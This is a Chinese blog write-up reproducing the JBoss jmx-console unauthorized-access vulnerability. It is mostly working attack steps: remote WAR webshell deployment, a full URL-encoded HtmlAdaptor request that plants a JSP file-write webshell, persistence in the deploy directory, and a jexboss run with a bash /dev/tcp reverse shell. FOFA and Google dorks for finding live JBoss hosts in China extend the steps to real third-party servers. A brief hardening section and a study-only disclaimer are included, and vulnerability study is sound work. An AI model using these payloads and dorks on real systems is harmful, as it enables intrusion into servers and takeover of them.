0x00 前言
习常规而明其理,探非凡且有所见。 –涂寐
声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
本文首发于涂寐’s Blogs:https://0xtlu.github.io
0x01 JBOSS未授权访问简介
- JBOSS是一个基于J2EE的开放源代码应用服务器,也是一个管理EJB的容器和服务器,默认使用8080端口监听。
- JBOSS未授权访问漏洞表现为,在默认情况下无需账密就可以直接访问 http://127.0.0.1:8080/jmx-console 进入管理控制台,进而导致网站信息泄露、服务器被上传shell(如反弹shell,wget写webshell文件),最终网站被攻陷。
- 该漏洞影响所有低版本的JBOSS,对其下用户影响深远。
0x02 JBOSS未授权复现一
1、Docker容器搭建环境
1 2 3 4 5 6 7 8
| #搜索JBoss环境 docker search testjboss
#选择需要的环境 docker pull testjboss/jboss
#实例化testjboss/jboss镜像 docker run -d-p 80:8080 testjboss/jboss
|
2、访问127.0.0.1,找到漏洞点
3、生成warSehll
1 2 3
| #自备脚本tumei.jsp #生成war命令 jar cvf admin.war tumei.jsp
|
4、apache2部署远程服务器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| #安装apache2 apt-get install apache2 #apache2所有文件所在位置 /etc/apache2 #apache2运行文件 /etc/init.d/apache2
#查看kali默认web站点位置是否含有/var/www/html cd /var/www/html #不存在,创建/var/www/html目录 mkdir -p /var/www/html #将admin.war移入/var/www/html cp admin.war /var/www/html
#开启apache2服务 service apache2 start #确认已开启 service apache2 status #访问web站点 http://127.0.0.1/ http://192.168.31.133/
|
4、通过addurl参数远程部署Shell
1 2 3 4 5
| #远程服务器中war包的位置 http://192.168.31.133/admin.war #war上传成功,会显示成功界面。 #也可以直接访问http://127.0.0.1/jmx-console/,查看http://127.0.0.1/jmx-console/,是否含有对应的war包 #抑或,访问http://127.0.0.1/admin/,显示war包中文件tumei.jsp
|
5、成功getshell,上传永久shell
1 2 3 4
| #由于当前目录的shell仅能临时获取权限,因此把shell传到jmx-console的默认目录来巩固权限 #jmx-console的默认目录路径 /opt/jboss/jboss4/server/default/deploy/jmx-console.war/ #直接利用文件管理传shell,避免临时目录下的shell被删无法连接
|
0x03 JBOSS未授权复现二
1、查找JBOSS站点
①Google语法产找相关站点(有丢丢少,大概是浏览器的问题吧):inurl:”8080/jmx-console/“
②FOFA空间搜索引擎语句:**”jboss” && port=”8080” && country=”CN”**
2、JBOSS漏洞检测
①各位师傅若有闲情,可以先使用nmap工具扫描8080端口是否开放(nmap -PN ip),但笔者使用fofa搜索时限定扫描了8080端口,直接访问http://ip:8080/jmx-console和http://ip:8080/web-console就好了,成功,确认未授权的存在。
②手工传马,直接URL中写入大佬的一句话shell(写入文件功能),并可以通过脚本(shell.jsp)在其同级目录下新建其他文件(注意进行编码绕过)。
1 2
| #写文件功能 http://127.0.0.1:8080/jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=August.war&argType=java.lang.String&&arg1=shell&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25+if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b+%25%3e&argType=boolean&arg4=True
|
1 2 3 4 5 6 7
| #arg0:war包的名称,arg1:文件名称,arg2:文件后缀名,arg3:文件内容 #f=文件名,t=脚本文件内容(注意进行编码绕过) #文件写入举例http://127.0.0.1:8080/August/shell.jsp?f=admin.txt&t=hhhhhhhhhhhhhhhhh #文件访问举例 http://127.0.0.1:8080/August/admin.txt #对应URL解码 http://127.0.0.1:8080/jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin:service=DeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=August.war&argType=java.lang.String&&arg1=shell&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=<% if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes()); %>&argType=boolean&arg4=True
|
0x04 JBOSS未授权复现三
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| #尝试下大佬写的检测工具:https://github.com/joaomatosf/jexboss #jexboss是一个使用Python编写的Jboss漏洞检测利用工具,通过它可以检测并利用web-console,jmx-console,JMXInvokerServlet这三个漏洞,并且可以获得一个shell。
#git下载jexboss git clone https://github.com/joaomatosf/jexboss #切换jexboss所在目录 cd jexboss-master/ #执行检测192.168.31.131,此 处端口为80 python3 jexboss.py -u 192.168.31.131:80
#机器A反弹shell到其他机器(B) #B机器(192.168.31.131)开启监听 nc -l -p 666 #A利用jexboss连接jboss后,反弹shell到机器B的666端口 bash -i >& /dev/tcp/192.168.31.131/666 0>&1
|
0x05 JBOSS未授权防护
1、对jmx-console和web-console界面访问增加强认证。
2、关闭jmx-console和web-console,提高安全性。
0x06 后记
漏洞复现很简单,尝试了多种方式,非常不错,学到挺多的。原本想着尝试学大佬做防护,但重启容器后看不出有什么改变,还是继续努力吧。 –涂寐
0x07 知识链接